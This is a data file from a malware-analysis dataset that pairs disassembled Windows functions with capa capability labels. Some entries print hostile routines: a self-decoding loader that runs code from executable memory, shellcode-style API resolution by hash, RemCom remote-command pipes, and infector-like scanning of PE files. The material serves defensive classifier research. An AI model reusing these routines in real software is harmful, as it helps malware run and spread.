joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005963
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10005972
pop dword [ebp - 0x18]
mov eax, 0x10005972
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x3bef77ba
sub dword [ebp - 0x28], 0xed9d326f
mov dword [ebp - 0x24], 0x3f6ef351
sub dword [ebp - 0x24], 0xd3ba70c
mov dword [ebp - 0x20], 0xcf31ace9
sub dword [ebp - 0x20], 0x82e568bb
mov dword [ebp - 0x1c], 0x615377d2
sub dword [ebp - 0x1c], 0x615377d2
lea eax, [ebp - 0x28]
push eax
mov eax, 0xd6260e83
sub eax, 0xc61d9e4f
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x725075b1
add dword [ebp - 0x28], 0x221f3a5
mov dword [ebp - 0x24], 0x56c03040
add dword [ebp - 0x24], 0xeaac3135
mov dword [ebp - 0x20], 0xac5bf467
sub dword [ebp - 0x20], 0x48ec87fb
mov dword [ebp - 0x1c], 0x428792fe
sub dword [ebp - 0x1c], 0x428792fe
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x98760be4
add eax, 0x77926440
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3acf7
push 0
call eax
mov ecx, 0x7cfc670
sub ecx, 0x7cf8a89
mov ebx, eax
mov esi, 0xab57b498
add esi, 0x64b3db68
add esi, dword [ebp - 0x18]
mov edx, 0xd49787a
add edx, 0x43b0bf7e
mov edi, dword [esi]
xor dword [ebp - 0x14], 0x3b8b43bd
sub edi, edx
add dword [ebp - 0xc], 0xc114492b
mov dword [ebx], edi
add dword [ebp - 0x10], 0x4de19775
add ebx, 0x6f07ff72
add ebx, 0x90f80092
add esi, 0x9a233ee4
sub esi, 0x9a233ee0
loop 0x10005a8f
add eax, 0xe7d60de4
add eax, 0x182ad48b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401420
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
xor eax, eax
push edi
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 1
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
or dword [esi + 0x2c], 0x100
or eax, 0xffffffff
mov dword [esi + 0x3c], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x40], eax
mov eax, dword [edi + 0x1108]
push eax
lea ebx, [edi + 0x110c]
push ebx
push str.RemCom_stdout
lea edx, [ebp - 0x20]
push str..pipe_s_s_d
push 0x40ef30
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], edx
mov dword [ebp - 4], 1
call fcn.00401af8
mov ecx, dword [edi + 0x1108]
push ecx
push ebx
push str.RemCom_stdin
push str..pipe_s_s_d
push 0x40f038
call fcn.00401af8
mov edx, dword [edi + 0x1108]
push edx
push ebx
push str.RemCom_stderr
push str..pipe_s_s_d
push 0x40f140
call fcn.00401af8
mov edi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
add esp, 0x3c
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
push 0
push 0
push 0xff
push 4
push 2
push 0x40ef30
call edi
lea ecx, [ebp - 0xc]
push ecx
push 0xffffffffffffffff
push 0
push 0
push 0xff
push 4
push 2
push 0x40f140
mov dword [esi + 0x3c], eax
call edi
lea edx, [ebp - 0xc]
push edx
push 0xffffffffffffffff
push 0
push 0
push 0xff
mov dword [esi + 0x40], eax
push 4
push 1
push 0x40f038
call edi
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x38], eax
cmp ecx, 0xffffffff
je 0x401575
cmp dword [esi + 0x40], 0xffffffff
je 0x401575
cmp eax, 0xffffffff
je 0x401575
mov edi, dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
push ecx
call edi
mov eax, dword [esi + 0x38]
push 0
push eax
call edi
mov ecx, dword [esi + 0x40]
push 0
push ecx
call edi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esi + 0x40]
push edx
call edi
mov eax, dword [esi + 0x38]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x44
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.00401b80
lea ecx, [ebp - 0x160]
push ecx
push esi
mov dword [ebp - 0x160], 0x44
call fcn.00401420
add esp, 0x14
test eax, eax
jne 0x4015fe
pop edi
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040186a
mov esp, ebp
pop ebp
ret
push ebx
push esi
lea edx, [ebp - 0x108]
push 0x40b244
push edx
mov dword [edi], 0
mov dword [ebp - 0x10c], 0
call fcn.00401af8
movsx eax, byte [esi + 0x1000]
add esp, 0xc
lea ecx, [esi + 0x1000]
neg eax
sbb eax, eax
and eax, ecx
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x160]
push edx
push eax
mov eax, dword [esi + 0x1104]
push 0
or eax, 0x8000000
push eax
push 1
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016ac
mov eax, dword [ebp - 0x11c]
mov dword [edi], 0
cmp dword [esi + 0x1210], 0
mov ebx, eax
jne 0x4016b6
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [ebp - 0x10c]
pop ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040186a
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x10c], 1
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10c]
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040186a
mov esp, ebp
pop ebp
ret

Function at 0x40186a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401874
repz ret
jmp fcn.00401db0
Function at 0x407ceb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00401f28
and dword [ebp - 4], 0
cmp dword [0x40fbc4], 0
mov ebx, eax
jne 0x407d9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407e4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407e4d
push eax
call fcn.00401eb6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40fbc4], eax
call esi
push eax
call fcn.00401eb6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40fbc8], eax
call esi
push eax
call fcn.00401eb6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40fbcc], eax
call esi
push eax
call fcn.00401eb6
pop ecx
mov dword [0x40fbd4], eax
test eax, eax
je 0x407d9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00401eb6
pop ecx
mov dword [0x40fbd0], eax
mov eax, dword [0x40fbd0]
cmp eax, ebx
je 0x407df4
cmp dword [0x40fbd4], ebx
je 0x407df4
push eax
call fcn.00401f31
push dword [0x40fbd4]
mov esi, eax
call fcn.00401f31
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407df4
test edi, edi
je 0x407df4
call esi
test eax, eax
je 0x407deb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407deb
test byte [ebp - 0xc], 1
jne 0x407df4
or dword [ebp + 0x10], 0x200000
jmp 0x407e2d
mov eax, dword [0x40fbc8]
cmp eax, ebx
je 0x407e2d
push eax
call fcn.00401f31
pop ecx
test eax, eax
je 0x407e2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407e2d
mov eax, dword [0x40fbcc]
cmp eax, ebx
je 0x407e2d
push eax
call fcn.00401f31
pop ecx
test eax, eax
je 0x407e2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40fbc4]
call fcn.00401f31
pop ecx
test eax, eax
je 0x407e4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407e4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x413049
Capabilities:
Resolve function by hash

Disassembly:
mov eax, dword fs:[0x30]
test eax, eax
js 0x41305f
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov ebx, dword [eax + 8]
jmp 0x413068
mov eax, dword [eax + 0x34]
mov ebx, dword [eax + 0xb8]
pop esi
add esi, 3
push ebx
mov edx, 0xec0e4e8e
call esi
push eax
mov edx, 0x7c0dfcaa
call esi
push eax
push edi
mov edx, 0x4ee4a045
call esi
xor edx, edx
push edx
push 0x6d756369
push 0x6c656167
push esp
push edx
push edx
call eax
push eax
mov edx, 0x75da1966
call esi
call eax
xchg edi, eax
mov edx, 0xffd97fb
call esi
call eax
cmp edi, 0xb7
jne 0x4130b7
mov esp, ebp
popal
ret
call fcn.004130d8
sti
xchg edi, eax
std
pcmpeqd mm5, qword [ebp - 0x50]
inc ebp
jb 0x4130c4
mov bl, 0x16
mov eax, dword [0xd2d83d6a]
invalid
Function at 0x413713
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x41372c
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x41373a
dec eax
jmp 0x41373a
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x413744
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x4137cb
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x413782
cmp byte [ebx], 0x2e
je 0x4137b2
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00413713
pop esi
jmp 0x4137b2
push ebx
call dword [edi + 0x30]
push eax
call 0x413791
js 0x4137f5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x4137b2
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.004137cd
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x413761
push esi
call dword [edi + 0x40]
leave
ret
jae 0x413862
jb 0x413867
insb byte es:[edi], dx
js 0x413863
invalid

Function at 0x413744
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x41372c
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x41373a
dec eax
jmp 0x41373a
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x413744
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x4137cb
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x413782
cmp byte [ebx], 0x2e
je 0x4137b2
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00413713
pop esi
jmp 0x4137b2
push ebx
call dword [edi + 0x30]
push eax
call 0x413791
js 0x4137f5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x4137b2
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.004137cd
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x413761
push esi
call dword [edi + 0x40]
leave
ret
jae 0x413862
jb 0x413867
insb byte es:[edi], dx
js 0x413863
invalid
Function at 0x4137cd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
push edx
push edx
push 3
push edx
push 1
push 0xc0000000
push eax
mov esi, eax
push esi
call dword [edi + 0x30]
lea esi, [esi + eax - 0xc]
push esi
call fcn.004137ff
outsb dx, byte [esi]
je 0x413864

Function at 0x4137ff
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
call dword [edi + 0x34]
or eax, eax
jne 0x413808
leave
call dword [edi + 0x44]
mov ebx, eax
inc ebx
jne 0x41381a
dec ebx
push 0x40
pop esi
sub esp, esi
mov edx, esp
push 0
push esp
push esi
push edx
push ebx
call dword [edi + 0x48]
cmp dword [esp - 4], esi
jne 0x413810
cmp word [esp], 0x5a4d
jne 0x413810
cmp byte [esp + 0x32], 0x56
je 0x413810
push eax
add esp, esi
pop esi
mov dword [ebp - 0x1c], esi
push 0
push 0
push esi
push ebx
call dword [edi + 0x50]
inc eax
je 0x413810
sub esp, 0x58
mov edx, esp
push 0
push esp
push 0x58
push edx
push ebx
call dword [edi + 0x48]
Function at 0x10001f80
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov edx, 0x25
push esi
push edi
mov esi, 0x10065b10
xor edi, edi
mov ecx, edi
mov eax, edi
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [ebp + edi*4 - 0x400], eax
inc edi
cmp edi, 0x100
jl 0x10001f97
or eax, 0xffffffff
movzx ecx, byte [esi]
lea esi, [esi + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ebp + ecx*4 - 0x400]
sub edx, 1
jne 0x10002034
pop edi
not eax
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10004a70
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
push esi
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
push edi
push 0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
mov dword [esp + 0x40], 0x10002330
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0x60], str.sBIMbYXpPxDYhwzRPmKwIxF
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0
push 0
push 0
push 0x258
push 0x320
push 0x80000000
push 0x80000000
push 0xcf0000
push str.uDikdkEsfwefpgBOaOsBxArlFFky
push dword [esp + 0x84]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x10004b57
push 1
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x10]
push 0
push 0
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
push 0
push eax
movaps xmmword [esp + 0x20], xmm0
movq qword [esp + 0x30], xmm0
call esi
test eax, eax
je 0x10004b57
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x10]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x10004b34
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10004b60
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
push esi
xorps xmm0, xmm0
mov dword [esp + 0x34], 0
push edi
lea eax, [esp + 0x38]
movlpd qword [esp + 0x40], xmm0
push eax
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
mov dword [esp + 0x40], 0x100034a0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x60], str.kGsngzSZDXJjRVmHIdimmj
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0
push 0
push 0
push 0x258
push 0x320
push 0x80000000
push 0x80000000
push 0xcf0000
push str.cjqWCdfsUFJmwwHsLSeeSQsxZ
push dword [esp + 0x84]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x100c3534], eax
test eax, eax
je 0x10004c48
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x10]
push 0
push 0
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
push 0
push eax
movaps xmmword [esp + 0x20], xmm0
movq qword [esp + 0x30], xmm0
call esi
test eax, eax
je 0x10004c48
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x10]
push eax
call edi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x10004c25
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10004c50
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10065b3c], 5
mov dword [0x10065b38], 8
mov byte [0x100c31fd], 0
nop
push 0x1005b28c
call fcn.1003a1d1
add esp, 4
mov esi, 0x32
mov dl, 0x2d
call fcn.10008b60
sub esi, 1
jne 0x10004c92
push 0x100c24e8
call fcn.10008ac0
movzx eax, word [0x10065b3c]
add esp, 4
mov word [ebp - 4], ax
movzx eax, word [0x10065b38]
mov word [ebp - 2], ax
push dword [ebp - 4]
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call ebx
mov dl, 0x40
call fcn.10008b60
call fcn.10038121
test eax, eax
je 0x10004cee
call fcn.10037ee8
cmp al, 0x20
jne 0x10004cee
dec dword [0x10065b38]
mov eax, dword [0x10065b3c]
inc eax
mov dword [0x10065b3c], eax
cmp eax, 0x32
jl 0x10004d05
mov byte [0x100c31fd], 1
push 0x64
call edi
cmp byte [0x100c31fd], 0
je 0x10004c80
pop edi
pop esi
pop ebx
mov edx, str.Rainbow_flag__Nice_for_my_restroom.
mov ecx, 0x100c24e8
call fcn.10008830
push eax
call fcn.10008ac0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x100081e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10051c00
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, ecx
push 8
mov dword [edi], 0x100534cc
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.10032d03
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10032277
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.10007dc0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1003ceb2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1003cef1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003cef1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003cef1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1003cef1
cmp dword [ecx + 0x74], 0xe
jbe 0x1003cef1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x100438d1
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10057500
push 0x100574f8
push str.FlsAlloc
push 0x1f
call fcn.1004373c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10043905
push dword [ebp + 8]
mov ecx, esi
call dword [0x10053340]
call esi
jmp 0x1004390b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1004394f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10057510
push 0x10057508
push str.FlsGetValue
push 0x21
call fcn.1004373c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10043986
push dword [ebp + 8]
mov ecx, esi
call dword [0x10053340]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1004398e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10057518
push 0x10057510
push str.FlsSetValue
push 0x22
call fcn.1004373c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100439c8
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10053340]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100440cd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10033bd0
mov eax, dword [0x10065080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1003e232
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1004410f
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1004426b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.100511a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100c2da8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.100458bb
mov ecx, dword [esi*4 + 0x100c2da8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10044264
cmp eax, dword [ecx + edi + 0x24]
jne 0x10044264
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10044264
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100458bb
add esp, 0x14
test edx, edx
jl 0x10044264
jg 0x100441da
test eax, eax
jb 0x10044264
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10044264
jl 0x100441f4
cmp dword [ebp - 0x1008], eax
ja 0x10044264
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10044212
test ebx, ebx
je 0x1004424b
cmp ecx, edi
jae 0x1004424b
mov al, byte [ecx]
cmp al, 0xd
jne 0x1004422c
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10044238
cmp byte [ecx + 1], 0xa
jne 0x10044238
inc ecx
jmp 0x10044238
movzx eax, al
movsx eax, byte [eax + 0x10065340]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10044212
cmp edx, ebx
jne 0x10044212
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10044269
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100333e1
leave
ret